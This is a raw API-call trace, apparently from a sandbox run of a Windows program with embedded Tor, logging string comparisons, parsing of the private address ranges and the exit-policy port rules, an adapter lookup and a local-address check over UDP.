1 [0115.426] _strcmpi (_Str1="rendezvous", _Str2="middle") returned 1 [0115.426] _strcmpi (_Str1="rendezvous", _Str2="introduction") returned 1 [0115.426] _strcmpi (_Str1="rendezvous", _Str2="rendezvous") returned 0 [0115.426] _strcmpi (_Str1="1", _Str2="0") returned 1 [0115.426] _strcmpi (_Str1="1", _Str2="relay") returned -1 [0115.426] _strcmpi (_Str1="1", _Str2="1") returned 0 [0115.426] _strcmpi (_Str1="1", _Str2="v1") returned -1 [0115.426] strcmp (_Str1="1", _Str2="1") returned 0 [0115.427] strcmp (_Str1="max", _Str2="sum") returned -1 [0115.427] strcmp (_Str1="max", _Str2="max") returned 0 [0115.427] strstr (_Str="reject *6:*", _SubStr=",") returned 0x0 [0115.427] strlen (_Str="reject *6:*") returned 0xb [0115.427] memchr (_Buf=0x840340, _Val=10, _MaxCount=0xb) returned 0x0 [0115.427] strlen (_Str="opt") returned 0x3 [0115.427] strlen (_Str="reject") returned 0x6 [0115.427] memchr (_Buf=0x84034b, _Val=10, _MaxCount=0x0) returned 0x0 [0115.427] strlen (_Str="private") returned 0x7 [0115.427] strncmp (_Str1="*6:*", _Str2="private", _MaxCount=0x7) returned -70 [0115.427] strlen (_Str="*6:*") returned 0x4 [0115.427] strcmp (_Str1="*6", _Str2="*") returned 1 [0115.428] strcmp (_Str1="*6", _Str2="*4") returned 1 [0115.428] strcmp (_Str1="*6", _Str2="*6") returned 0 [0115.428] htonl (hostlong=0x0) returned 0x0 [0115.428] strcmp (_Str1="*", _Str2="*") returned 0 [0115.428] strstr (_Str="reject private:*", _SubStr=",") returned 0x0 [0115.428] strlen (_Str="reject private:*") returned 0x10 [0115.428] memchr (_Buf=0x8411c0, _Val=10, _MaxCount=0x10) returned 0x0 [0115.428] strlen (_Str="opt") returned 0x3 [0115.428] strlen (_Str="reject") returned 0x6 [0115.428] memchr (_Buf=0x8411d0, _Val=10, _MaxCount=0x0) returned 0x0 [0115.428] strlen (_Str="private") returned 0x7 [0115.428] strncmp (_Str1="private", _Str2="private", _MaxCount=0x7) returned 0 [0115.428] strlen (_Str="private") returned 0x7 [0115.428] strncmp (_Str1="private", _Str2="private", _MaxCount=0x7) returned 0 [0115.428] strcmp (_Str1="*", _Str2="*") returned 0 [0115.428] strlen (_Str="0.0.0.0/8") returned 0x9 [0115.428] strcmp (_Str1="0.0.0.0", _Str2="*") returned 1 [0115.428] strcmp (_Str1="0.0.0.0", _Str2="*4") returned 1 [0115.428] strcmp (_Str1="0.0.0.0", _Str2="*6") returned 1 [0115.428] htonl (hostlong=0x0) returned 0x0 [0115.428] strtol (in: _Str="8", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 8 [0115.428] htonl (hostlong=0x0) returned 0x0 [0115.428] htonl (hostlong=0x0) returned 0x0 [0115.428] strlen (_Str="169.254.0.0/16") returned 0xe [0115.428] strcmp (_Str1="169.254.0.0", _Str2="*") returned 1 [0115.428] strcmp (_Str1="169.254.0.0", _Str2="*4") returned 1 [0115.428] strcmp (_Str1="169.254.0.0", _Str2="*6") returned 1 [0115.428] htonl (hostlong=0xa9fe0000) returned 0xfea9 [0115.428] strtol (in: _Str="16", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 16 [0115.429] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.429] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.429] strlen (_Str="127.0.0.0/8") returned 0xb [0115.429] strcmp (_Str1="127.0.0.0", _Str2="*") returned 1 [0115.429] strcmp (_Str1="127.0.0.0", _Str2="*4") returned 1 [0115.429] strcmp (_Str1="127.0.0.0", _Str2="*6") returned 1 [0115.429] htonl (hostlong=0x7f000000) returned 0x7f [0115.429] strtol (in: _Str="8", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 8 [0115.429] htonl (hostlong=0x7f) returned 0x7f000000 [0115.429] htonl (hostlong=0x7f) returned 0x7f000000 [0115.429] strlen (_Str="192.168.0.0/16") returned 0xe [0115.429] strcmp (_Str1="192.168.0.0", _Str2="*") returned 1 [0115.429] strcmp (_Str1="192.168.0.0", _Str2="*4") returned 1 [0115.429] strcmp (_Str1="192.168.0.0", _Str2="*6") returned 1 [0115.429] htonl (hostlong=0xc0a80000) returned 0xa8c0 [0115.429] strtol (in: _Str="16", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 16 [0115.429] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.429] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.429] strlen (_Str="10.0.0.0/8") returned 0xa [0115.429] strcmp (_Str1="10.0.0.0", _Str2="*") returned 1 [0115.429] strcmp (_Str1="10.0.0.0", _Str2="*4") returned 1 [0115.429] strcmp (_Str1="10.0.0.0", _Str2="*6") returned 1 [0115.429] htonl (hostlong=0xa000000) returned 0xa [0115.429] strtol (in: _Str="8", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 8 [0115.429] htonl (hostlong=0xa) returned 0xa000000 [0115.429] htonl (hostlong=0xa) returned 0xa000000 [0115.429] strlen (_Str="172.16.0.0/12") returned 0xd [0115.429] strcmp (_Str1="172.16.0.0", _Str2="*") returned 1 [0115.429] strcmp (_Str1="172.16.0.0", _Str2="*4") returned 1 [0115.429] strcmp (_Str1="172.16.0.0", _Str2="*6") returned 1 [0115.429] htonl (hostlong=0xac100000) returned 0x10ac [0115.429] strtol (in: _Str="12", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 12 [0115.429] htonl (hostlong=0x10ac) returned 0xac100000 [0115.430] htonl (hostlong=0x10ac) returned 0xac100000 [0115.430] strlen (_Str="[::]/8") returned 0x6 [0115.430] strcmp (_Str1="::", _Str2="*") returned 1 [0115.430] strcmp (_Str1="::", _Str2="*4") returned 1 [0115.430] strcmp (_Str1="::", _Str2="*6") returned 1 [0115.430] strlen (_Str="::") returned 0x2 [0115.430] htonl (hostlong=0x0) returned 0x0 [0115.430] strtol (in: _Str="8", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 8 [0115.430] strlen (_Str="[fc00::]/7") returned 0xa [0115.430] strcmp (_Str1="fc00::", _Str2="*") returned 1 [0115.430] strcmp (_Str1="fc00::", _Str2="*4") returned 1 [0115.430] strcmp (_Str1="fc00::", _Str2="*6") returned 1 [0115.430] strlen (_Str="fc00::") returned 0x6 [0115.430] strtol (in: _Str="fc00::", _EndPtr=0x36f180, _Radix=16 | out: _EndPtr=0x36f180*="::") returned 64512 [0115.430] strtol (in: _Str="7", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 7 [0115.430] strlen (_Str="[fe80::]/10") returned 0xb [0115.430] strcmp (_Str1="fe80::", _Str2="*") returned 1 [0115.430] strcmp (_Str1="fe80::", _Str2="*4") returned 1 [0115.430] strcmp (_Str1="fe80::", _Str2="*6") returned 1 [0115.430] strlen (_Str="fe80::") returned 0x6 [0115.430] strtol (in: _Str="fe80::", _EndPtr=0x36f180, _Radix=16 | out: _EndPtr=0x36f180*="::") returned 65152 [0115.430] strtol (in: _Str="10", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 10 [0115.430] strlen (_Str="[fec0::]/10") returned 0xb [0115.430] strcmp (_Str1="fec0::", _Str2="*") returned 1 [0115.430] strcmp (_Str1="fec0::", _Str2="*4") returned 1 [0115.430] strcmp (_Str1="fec0::", _Str2="*6") returned 1 [0115.430] strlen (_Str="fec0::") returned 0x6 [0115.430] strtol (in: _Str="fec0::", _EndPtr=0x36f180, _Radix=16 | out: _EndPtr=0x36f180*="::") returned 65216 [0115.431] strtol (in: _Str="10", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 10 [0115.431] strlen (_Str="[ff00::]/8") returned 0xa [0115.431] strcmp (_Str1="ff00::", _Str2="*") returned 1 [0115.431] strcmp (_Str1="ff00::", _Str2="*4") returned 1 [0115.431] strcmp (_Str1="ff00::", _Str2="*6") returned 1 [0115.431] strlen (_Str="ff00::") returned 0x6 [0115.431] strtol (in: _Str="ff00::", _EndPtr=0x36f180, _Radix=16 | out: _EndPtr=0x36f180*="::") returned 65280 [0115.431] strtol (in: _Str="8", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 8 [0115.431] strlen (_Str="[::]/127") returned 0x8 [0115.431] strcmp (_Str1="::", _Str2="*") returned 1 [0115.431] strcmp (_Str1="::", _Str2="*4") returned 1 [0115.431] strcmp (_Str1="::", _Str2="*6") returned 1 [0115.431] strlen (_Str="::") returned 0x2 [0115.431] htonl (hostlong=0x0) returned 0x0 [0115.431] strtol (in: _Str="127", _EndPtr=0x36f220, _Radix=10 | out: _EndPtr=0x36f220*="") returned 127 [0115.431] GetSystemDirectoryA (in: lpBuffer=0x36f148, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0115.431] strlen (_Str="iphlpapi.dll") returned 0xc [0115.431] _mbscat (in: param_1=0x36f148, param_2=0x1165931 | out: param_1=0x36f148) returned 0x36f148 [0115.431] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\iphlpapi.dll") returned 0x75230000 [0115.434] GetProcAddress (hModule=0x75230000, lpProcName="GetAdaptersAddresses") returned 0x75236a4d [0115.435] GetAdaptersAddresses () returned 0x0 [0115.534] FreeLibrary (hLibModule=0x75230000) returned 1 [0115.534] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0115.534] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0115.534] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0115.534] htonl (hostlong=0x100007f) returned 0x7f000001 [0115.534] htons (hostshort=0x9) returned 0x900 [0115.534] socket (af=2, type=2, protocol=17) returned 0x1a8 [0115.539] htonl (hostlong=0x12000001) returned 0x1000012 [0115.539] connect (s=0x1a8, name=0x36f268*(sa_family=2, sin_port=0x9, sin_addr="18.0.0.1"), namelen=16) returned 0 [0115.539] getsockname (in: s=0x1a8, name=0x36f1e8, namelen=0x36f1c8 | out: name=0x36f1e8*(sa_family=2, sin_port=0xc8a7, sin_addr="192.168.0.153"), namelen=0x36f1c8) returned 0 [0115.539] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0115.539] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0115.539] closesocket (s=0x1a8) returned 0 [0115.539] htonl (hostlong=0x9900a8c0) returned 0xc0a80099 [0115.539] htonl (hostlong=0x0) returned 0x0 [0115.539] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.539] htonl (hostlong=0x0) returned 0x0 [0115.539] htonl (hostlong=0x7f) returned 0x7f000000 [0115.539] htonl (hostlong=0x0) returned 0x0 [0115.539] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.539] htonl (hostlong=0x0) returned 0x0 [0115.539] htonl (hostlong=0xa) returned 0xa000000 [0115.539] htonl (hostlong=0x0) returned 0x0 [0115.539] htonl (hostlong=0x10ac) returned 0xac100000 [0115.539] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.539] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.539] htonl (hostlong=0x7f) returned 0x7f000000 [0115.539] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.539] htonl (hostlong=0x7f) returned 0x7f000000 [0115.539] htonl (hostlong=0xa) returned 0xa000000 [0115.539] htonl (hostlong=0x7f) returned 0x7f000000 [0115.539] htonl (hostlong=0x10ac) returned 0xac100000 [0115.539] htonl (hostlong=0xa) returned 0xa000000 [0115.539] htonl (hostlong=0x10ac) returned 0xac100000 [0115.539] htonl (hostlong=0x7f) returned 0x7f000000 [0115.539] htonl (hostlong=0x0) returned 0x0 [0115.539] htonl (hostlong=0xa) returned 0xa000000 [0115.539] htonl (hostlong=0x0) returned 0x0 [0115.539] htonl (hostlong=0x7f) returned 0x7f000000 [0115.539] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.539] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.539] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.539] htonl (hostlong=0xa) returned 0xa000000 [0115.539] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.539] htonl (hostlong=0x10ac) returned 0xac100000 [0115.539] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.539] htonl (hostlong=0xa) returned 0xa000000 [0115.539] htonl (hostlong=0x7f) returned 0x7f000000 [0115.539] htonl (hostlong=0xa) returned 0xa000000 [0115.539] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.539] htonl (hostlong=0x10ac) returned 0xac100000 [0115.539] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.540] strstr (_Str="reject *:25,reject *:119,reject *:135-139,reject *:445,reject *:563,reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*", _SubStr=",") returned=",reject *:119,reject *:135-139,reject *:445,reject *:563,reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*" [0115.540] strlen (_Str=",") returned 0x1 [0115.540] strstr (_Str="reject *:119,reject *:135-139,reject *:445,reject *:563,reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*", _SubStr=",") returned=",reject *:135-139,reject *:445,reject *:563,reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*" [0115.540] strlen (_Str=",") returned 0x1 [0115.540] strstr (_Str="reject *:135-139,reject *:445,reject *:563,reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*", _SubStr=",") returned=",reject *:445,reject *:563,reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*" [0115.540] strlen (_Str=",") returned 0x1 [0115.540] strstr (_Str="reject *:445,reject *:563,reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*", _SubStr=",") returned=",reject *:563,reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*" [0115.540] strlen (_Str=",") returned 0x1 [0115.540] strstr (_Str="reject *:563,reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*", _SubStr=",") returned=",reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*" [0115.540] strlen (_Str=",") returned 0x1 [0115.540] strstr (_Str="reject *:1214,reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*", _SubStr=",") returned=",reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*" [0115.540] strlen (_Str=",") returned 0x1 [0115.540] strstr (_Str="reject *:4661-4666,reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*", _SubStr=",") returned=",reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*" [0115.540] strlen (_Str=",") returned 0x1 [0115.540] strstr (_Str="reject *:6346-6429,reject *:6699,reject *:6881-6999,accept *:*", _SubStr=",") returned=",reject *:6699,reject *:6881-6999,accept *:*" [0115.540] strlen (_Str=",") returned 0x1 [0115.540] strstr (_Str="reject *:6699,reject *:6881-6999,accept *:*", _SubStr=",") returned=",reject *:6881-6999,accept *:*" [0115.540] strlen (_Str=",") returned 0x1 [0115.540] strstr (_Str="reject *:6881-6999,accept *:*", _SubStr=",") returned=",accept *:*" [0115.540] strlen (_Str=",") returned 0x1 [0115.540] strstr (_Str="accept *:*", _SubStr=",") returned 0x0 [0115.540] strlen (_Str="reject *:25") returned 0xb [0115.540] memchr (_Buf=0x840430, _Val=10, _MaxCount=0xb) returned 0x0 [0115.540] strlen (_Str="opt") returned 0x3 [0115.540] strlen (_Str="reject") returned 0x6 [0115.540] memchr (_Buf=0x84043b, _Val=10, _MaxCount=0x0) returned 0x0 [0115.540] strlen (_Str="private") returned 0x7 [0115.540] strncmp (_Str1="*:25", _Str2="private", _MaxCount=0x7) returned -70 [0115.540] strlen (_Str="*:25") returned 0x4 [0115.540] strcmp (_Str1="*", _Str2="*") returned 0 [0115.540] strcmp (_Str1="25", _Str2="*") returned 1 [0115.540] _errno () returned 0x9f07d8 [0115.540] strtol (in: _Str="25", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="") returned 25 [0115.540] _errno () returned 0x9f07d8 [0115.541] strlen (_Str="reject *:119") returned 0xc [0115.541] memchr (_Buf=0x840418, _Val=10, _MaxCount=0xc) returned 0x0 [0115.541] strlen (_Str="opt") returned 0x3 [0115.541] strlen (_Str="reject") returned 0x6 [0115.541] memchr (_Buf=0x840424, _Val=10, _MaxCount=0x0) returned 0x0 [0115.541] strlen (_Str="private") returned 0x7 [0115.541] strncmp (_Str1="*:119", _Str2="private", _MaxCount=0x7) returned -70 [0115.541] strlen (_Str="*:119") returned 0x5 [0115.541] strcmp (_Str1="*", _Str2="*") returned 0 [0115.541] strcmp (_Str1="119", _Str2="*") returned 1 [0115.541] _errno () returned 0x9f07d8 [0115.541] strtol (in: _Str="119", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="") returned 119 [0115.541] _errno () returned 0x9f07d8 [0115.541] strlen (_Str="reject *:135-139") returned 0x10 [0115.541] memchr (_Buf=0x8411c0, _Val=10, _MaxCount=0x10) returned 0x0 [0115.541] strlen (_Str="opt") returned 0x3 [0115.541] strlen (_Str="reject") returned 0x6 [0115.541] memchr (_Buf=0x8411d0, _Val=10, _MaxCount=0x0) returned 0x0 [0115.541] strlen (_Str="private") returned 0x7 [0115.541] strncmp (_Str1="*:135-1", _Str2="private", _MaxCount=0x7) returned -70 [0115.541] strlen (_Str="*:135-139") returned 0x9 [0115.541] strcmp (_Str1="*", _Str2="*") returned 0 [0115.541] strcmp (_Str1="135-139", _Str2="*") returned 1 [0115.541] _errno () returned 0x9f07d8 [0115.541] strtol (in: _Str="135-139", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="-139") returned 135 [0115.541] _errno () returned 0x9f07d8 [0115.541] _errno () returned 0x9f07d8 [0115.541] strtol (in: _Str="139", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="") returned 139 [0115.541] _errno () returned 0x9f07d8 [0115.541] strlen (_Str="reject *:445") returned 0xc [0115.541] memchr (_Buf=0x840400, _Val=10, _MaxCount=0xc) returned 0x0 [0115.541] strlen (_Str="opt") returned 0x3 [0115.541] strlen (_Str="reject") returned 0x6 [0115.541] memchr (_Buf=0x84040c, _Val=10, _MaxCount=0x0) returned 0x0 [0115.541] strlen (_Str="private") returned 0x7 [0115.541] strncmp (_Str1="*:445", _Str2="private", _MaxCount=0x7) returned -70 [0115.541] strlen (_Str="*:445") returned 0x5 [0115.541] strcmp (_Str1="*", _Str2="*") returned 0 [0115.542] strcmp (_Str1="445", _Str2="*") returned 1 [0115.542] _errno () returned 0x9f07d8 [0115.542] strtol (in: _Str="445", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="") returned 445 [0115.542] _errno () returned 0x9f07d8 [0115.542] strlen (_Str="reject *:563") returned 0xc [0115.542] memchr (_Buf=0x8403e8, _Val=10, _MaxCount=0xc) returned 0x0 [0115.542] strlen (_Str="opt") returned 0x3 [0115.542] strlen (_Str="reject") returned 0x6 [0115.542] memchr (_Buf=0x8403f4, _Val=10, _MaxCount=0x0) returned 0x0 [0115.542] strlen (_Str="private") returned 0x7 [0115.542] strncmp (_Str1="*:563", _Str2="private", _MaxCount=0x7) returned -70 [0115.542] strlen (_Str="*:563") returned 0x5 [0115.542] strcmp (_Str1="*", _Str2="*") returned 0 [0115.542] strcmp (_Str1="563", _Str2="*") returned 1 [0115.542] _errno () returned 0x9f07d8 [0115.542] strtol (in: _Str="563", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="") returned 563 [0115.542] _errno () returned 0x9f07d8 [0115.542] strlen (_Str="reject *:1214") returned 0xd [0115.542] memchr (_Buf=0x840340, _Val=10, _MaxCount=0xd) returned 0x0 [0115.542] strlen (_Str="opt") returned 0x3 [0115.542] strlen (_Str="reject") returned 0x6 [0115.542] memchr (_Buf=0x84034d, _Val=10, _MaxCount=0x0) returned 0x0 [0115.542] strlen (_Str="private") returned 0x7 [0115.542] strncmp (_Str1="*:1214", _Str2="private", _MaxCount=0x7) returned -70 [0115.542] strlen (_Str="*:1214") returned 0x6 [0115.542] strcmp (_Str1="*", _Str2="*") returned 0 [0115.542] strcmp (_Str1="1214", _Str2="*") returned 1 [0115.542] _errno () returned 0x9f07d8 [0115.542] strtol (in: _Str="1214", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="") returned 1214 [0115.542] _errno () returned 0x9f07d8 [0115.542] strlen (_Str="reject *:4661-4666") returned 0x12 [0115.542] memchr (_Buf=0x841180, _Val=10, _MaxCount=0x12) returned 0x0 [0115.542] strlen (_Str="opt") returned 0x3 [0115.542] strlen (_Str="reject") returned 0x6 [0115.542] memchr (_Buf=0x841192, _Val=10, _MaxCount=0x0) returned 0x0 [0115.542] strlen (_Str="private") returned 0x7 [0115.542] strncmp (_Str1="*:4661-", _Str2="private", _MaxCount=0x7) returned -70 [0115.542] strlen (_Str="*:4661-4666") returned 0xb [0115.543] strcmp (_Str1="*", _Str2="*") returned 0 [0115.543] strcmp (_Str1="4661-4666", _Str2="*") returned 1 [0115.543] _errno () returned 0x9f07d8 [0115.543] strtol (in: _Str="4661-4666", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="-4666") returned 4661 [0115.543] _errno () returned 0x9f07d8 [0115.543] _errno () returned 0x9f07d8 [0115.543] strtol (in: _Str="4666", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="") returned 4666 [0115.543] _errno () returned 0x9f07d8 [0115.543] strlen (_Str="reject *:6346-6429") returned 0x12 [0115.543] memchr (_Buf=0x841160, _Val=10, _MaxCount=0x12) returned 0x0 [0115.543] strlen (_Str="opt") returned 0x3 [0115.543] strlen (_Str="reject") returned 0x6 [0115.543] memchr (_Buf=0x841172, _Val=10, _MaxCount=0x0) returned 0x0 [0115.543] strlen (_Str="private") returned 0x7 [0115.543] strncmp (_Str1="*:6346-", _Str2="private", _MaxCount=0x7) returned -70 [0115.543] strlen (_Str="*:6346-6429") returned 0xb [0115.543] strcmp (_Str1="*", _Str2="*") returned 0 [0115.543] strcmp (_Str1="6346-6429", _Str2="*") returned 1 [0115.543] _errno () returned 0x9f07d8 [0115.543] strtol (in: _Str="6346-6429", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="-6429") returned 6346 [0115.543] _errno () returned 0x9f07d8 [0115.543] _errno () returned 0x9f07d8 [0115.543] strtol (in: _Str="6429", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="") returned 6429 [0115.543] _errno () returned 0x9f07d8 [0115.543] strlen (_Str="reject *:6699") returned 0xd [0115.543] memchr (_Buf=0x8402e0, _Val=10, _MaxCount=0xd) returned 0x0 [0115.543] strlen (_Str="opt") returned 0x3 [0115.543] strlen (_Str="reject") returned 0x6 [0115.543] memchr (_Buf=0x8402ed, _Val=10, _MaxCount=0x0) returned 0x0 [0115.543] strlen (_Str="private") returned 0x7 [0115.543] strncmp (_Str1="*:6699", _Str2="private", _MaxCount=0x7) returned -70 [0115.543] strlen (_Str="*:6699") returned 0x6 [0115.543] strcmp (_Str1="*", _Str2="*") returned 0 [0115.543] strcmp (_Str1="6699", _Str2="*") returned 1 [0115.543] _errno () returned 0x9f07d8 [0115.543] strtol (in: _Str="6699", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="") returned 6699 [0115.543] _errno () returned 0x9f07d8 [0115.543] strlen (_Str="reject *:6881-6999") returned 0x12 [0115.543] memchr (_Buf=0x8411a0, _Val=10, _MaxCount=0x12) returned 0x0 [0115.543] strlen (_Str="opt") returned 0x3 [0115.543] strlen (_Str="reject") returned 0x6 [0115.544] memchr (_Buf=0x8411b2, _Val=10, _MaxCount=0x0) returned 0x0 [0115.544] strlen (_Str="private") returned 0x7 [0115.544] strncmp (_Str1="*:6881-", _Str2="private", _MaxCount=0x7) returned -70 [0115.544] strlen (_Str="*:6881-6999") returned 0xb [0115.544] strcmp (_Str1="*", _Str2="*") returned 0 [0115.544] strcmp (_Str1="6881-6999", _Str2="*") returned 1 [0115.544] _errno () returned 0x9f07d8 [0115.544] strtol (in: _Str="6881-6999", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="-6999") returned 6881 [0115.544] _errno () returned 0x9f07d8 [0115.544] _errno () returned 0x9f07d8 [0115.544] strtol (in: _Str="6999", _EndPtr=0x36f084, _Radix=10 | out: _EndPtr=0x36f084*="") returned 6999 [0115.544] _errno () returned 0x9f07d8 [0115.544] strlen (_Str="accept *:*") returned 0xa [0115.544] memchr (_Buf=0x840478, _Val=10, _MaxCount=0xa) returned 0x0 [0115.544] strlen (_Str="opt") returned 0x3 [0115.544] strlen (_Str="reject") returned 0x6 [0115.544] strlen (_Str="accept") returned 0x6 [0115.544] memchr (_Buf=0x840482, _Val=10, _MaxCount=0x0) returned 0x0 [0115.544] strlen (_Str="private") returned 0x7 [0115.544] strncmp (_Str1="*:*", _Str2="private", _MaxCount=0x7) returned -70 [0115.544] strlen (_Str="*:*") returned 0x3 [0115.544] strcmp (_Str1="*", _Str2="*") returned 0 [0115.544] strcmp (_Str1="*", _Str2="*") returned 0 [0115.544] htonl (hostlong=0x0) returned 0x0 [0115.544] htonl (hostlong=0x0) returned 0x0 [0115.544] htonl (hostlong=0x0) returned 0x0 [0115.544] htonl (hostlong=0x0) returned 0x0 [0115.544] htonl (hostlong=0x0) returned 0x0 [0115.544] htonl (hostlong=0x0) returned 0x0 [0115.544] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.545] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0x7f) returned 0x7f000000 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0xa) returned 0xa000000 [0115.546] htonl (hostlong=0x0) returned 0x0 [0115.546] htonl (hostlong=0x10ac) returned 0xac100000 [0115.546] htonl (hostlong=0xfea9) returned 0xa9fe0000 [0115.546] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.546] htonl (hostlong=0x7f) returned 0x7f000000 [0115.546] htonl (hostlong=0xa8c0) returned 0xc0a80000 [0115.546] htonl (hostlong=0x7f) returned 0x7f000000 [0115.548] htonl (hostlong=0xa) returned 0xa000000 [0115.548] htonl (hostlong=0x7f) returned 0x7f000000 [0115.548] htonl (hostlong=0x10ac) returned 0xac100000 [0115.548] htonl (hostlong=0xa) returned 0xa000000 [0115.548] htonl (hostlong=0x10ac) returned 0xac100000 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 [0115.548] htonl (hostlong=0x0) returned 0x0 